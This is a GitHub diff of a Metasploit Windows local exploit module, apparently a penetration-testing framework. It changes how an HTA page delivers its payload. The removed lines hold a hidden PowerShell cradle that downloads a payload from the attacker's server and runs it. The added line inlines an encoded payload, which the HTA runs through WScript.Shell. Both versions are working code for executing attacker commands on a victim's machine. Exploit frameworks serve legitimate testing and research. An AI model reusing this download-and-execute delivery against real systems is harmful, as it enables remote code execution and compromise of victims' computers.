File tree Expand file tree Collapse file tree 1 file changed +1
-7
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +1
-7
lines changed Original file line number Diff line number Diff line change @@ -98,20 +98,14 @@ def primer
98
98
def on_request_uri ( cli , request )
99
99
if request . uri =~ /\. hta$/
100
100
print_status ( "Sending hta..." )
101
- download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ get_uri } /#{ rand_text_alpha ( 4 + rand ( 4 ) ) } .psh'))"
102
- command = "powershell.exe -w hidden -nop -c #{ download_and_run } "
103
101
hta = <<-eos
104
102
<script>
105
- var command = "cmd.exe /c #{ command } ";
103
+ var command = "#{ cmd_psh_payload ( payload . encoded ) . strip } ";
106
104
var shell = new ActiveXObject("WScript.Shell");
107
105
shell.Run(command);
108
106
</script>
109
107
eos
110
108
send_response ( cli , hta , { 'Content-Type' => 'application/hta' } )
111
- elsif request . uri =~ /\. psh$/
112
- print_status ( "Sending psh payload..." )
113
- data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
114
- send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
115
109
elsif request . uri =~ /\. html$/
116
110
print_status ( "Sending window close html..." )
117
111
close_html = <<-eos
You can’t perform that action at this time.
0 commit comments